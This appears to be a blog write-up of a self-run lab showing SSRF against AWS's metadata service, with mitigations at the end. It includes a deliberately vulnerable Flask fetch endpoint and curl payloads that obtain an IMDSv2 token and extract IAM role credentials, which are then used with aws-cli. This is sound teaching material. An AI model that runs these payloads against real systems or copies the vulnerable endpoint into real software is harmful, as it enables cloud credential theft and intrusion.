While learning cloud security, I wanted to understand how SSRF vulnerabilities could be exploited against AWS's Instance Metadata Service. I set up a controlled lab environment in my own AWS account to see exactly how this attack works. This article documents what I found.
SSRF: The Basics
Server-Side Request Forgery occurs when an application makes HTTP requests based on user input without proper validation. The vulnerability appears in legitimate features like webhook integrations, URL preview generators, and image proxies.
The danger comes from the fact that the server can access internal resources that external users cannot reach directly.
AWS Instance Metadata Service
EC2 instances communicate with a metadata service at 169.254.169.254
to retrieve configuration and runtime information. This service provides:
- Network details (IP addresses, security groups)
- Instance information (ID, type, AMI)
- IAM role credentials (temporary AWS access keys)
The IAM credentials are particularly sensitive, they grant AWS API access based on the instance's role permissions.
IMDSv1 vs IMDSv2
AWS released IMDSv2 specifically to defend against SSRF attacks. The difference:
IMDSv1: Simple GET requests, No authentication required, Vulnerable to basic SSRF.
IMDSv2: Token-based authentication, Requires PUT request with specific headers, Resistant to most SSRF vulnerabilities.
IMDSv2's protection relies on the fact that typical SSRF vulnerabilities can't make PUT requests or add custom headers.
Why IMDSv2 Works:
Most SSRF vulnerabilities look like this:
url = request.args.get('url')
response = requests.get(url) # Only GET, no custom headers possible
return response.text
This can't exploit IMDSv2 because:
- Can't make PUT requests to get the token
- Can't add the custom
X-aws-ec2-metadata-token
header
However, if the vulnerable application allows the PUT method and adding custom headers, IMDSv2 can be bypassed. This is less common but demonstrates why proper input validation and method control is still critical, IMDSv2 is a defense layer, not a complete solution.
Lab Setup
I created a test environment to explore this attack vector:
EC2 Instance: Standard instance with an IAM role attached named DemoRoleForEC2
, this role has two permission policies: AmazonEC2ReadOnlyAccess
and IAMReadOnlyAccess
, those are enough for the demonstration.
Vulnerable Application: A Flask app with an intentionally vulnerable endpoint that accepts URLs and HTTP methods from user input:
from flask import Flask, request
import requests
app = Flask(__name__)
@app.route('/fetch', methods=['GET', 'POST'])
def fetch():
url = request.args.get('url')
method = request.args.get('method', 'GET').upper()
headers = {}
if request.args.get('header'):
header_str = request.args.get('header')
key, value = header_str.split(':', 1)
headers[key] = value
try:
if method == 'PUT':
response = requests.put(url, headers=headers, timeout=2)
elif method == 'POST':
response = requests.post(url, headers=headers, timeout=2)
else:
response = requests.get(url, headers=headers, timeout=2)
return response.text
except Exception as e:
return f"Error: {str(e)}"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
This code makes server-side requests without validating the destination, this is the pattern that creates SSRF vulnerabilities.
Testing the Vulnerability
Confirming Basic SSRF
First, I tested that the application would fetch external URLs. We can see in the image below that the server fetched and returned Medium's homepage, confirming the SSRF vulnerability.
curl "http://51.85.12.231:8080/fetch?url=http://medium.com"

Obtaining an IMDSv2 Token
To access IMDSv2, I needed a session token. This requires a PUT request with a TTL header. The server returned a token valid for 6 hours.
curl "http://51.85.12.231:8080/fetch?method=PUT&url=http://169.254.169.254/latest/api/token&header=X-aws-ec2-metadata-token-ttl-seconds:21600"

Accessing Metadata
With the token, I can query the metadata service:
curl "http://51.85.12.231:8080/fetch?url=http://169.254.169.254/latest/meta-data&header=X-aws-ec2-metadata-token:TOKEN_HERE"

The response showed all available metadata endpoints, including the IAM credentials path.
Retrieving the IAM Role Name
curl "http://51.85.12.231:8080/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials&header=X-aws-ec2-metadata-token:TOKEN_HERE"

The instance's role name: DemoRoleForEC2
Extracting Credentials
curl "http://51.85.12.231:8080/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/DemoRoleForEC2&header=X-aws-ec2-metadata-token:TOKEN_HERE"

The metadata service returned temporary AWS credentials including:
- Access Key ID
- Secret Access Key
- Session Token
- Expiration timestamp
Testing the Credentials
I configured the extracted credentials locally for aws-cli:



With the credentials in place, I tested AWS CLI access:
aws ec2 describe-instances

We can add few arguments to the query to display only the necessary data of the instances:
aws ec2 describe-instances \
- query 'Reservations[*].Instances[*].[InstanceType, Tags[?Key==`Name`].Value | [0],InstanceId, State.Name, NetworkInterfaces[0].Association.PublicIp]' \
- output text

The credentials worked, I could query AWS resources with the same permissions as the EC2 instance's IAM role.
What This Means
This experiment demonstrates why SSRF in cloud environments is critical. Through a simple URL parameter vulnerability, I was able to:
- Access the metadata service despite IMDSv2 protections
- Extract valid AWS credentials
- Make authenticated AWS API calls
- Query infrastructure details
In a real attack scenario, the impact depends entirely on the IAM role's permissions. If the role has broad access, an attacker could potentially access S3 buckets, databases, or other AWS resources.
Mitigation
Application Level:
- Validate all user-provided URLs against an allowlist
- Block requests to private IP ranges (169.254.0.0/16, 10.0.0.0/8, 172.16.0.0/12, 127.0.0.0/8)
- Disable unnecessary HTTP methods in your SSRF-vulnerable code
- Use network policies to restrict outbound connections
AWS Level:
- Apply least privilege to IAM roles
- Set appropriate hop limits on IMDSv2
- Monitor for unusual metadata service access patterns
Defense in Depth:
- Implement WAF rules to detect SSRF patterns
- Network segmentation between application tiers
- Regular security audits of code that makes HTTP requests
- Log and alert on metadata service access
Takeaway
IMDSv2 provides strong protection against simple SSRF attacks, but applications that can make PUT requests with custom headers bypass this defense. The real lesson is that input validation remains critical, especially for any feature that makes server-side HTTP requests.
This experiment was conducted entirely within my own AWS account for educational purposes.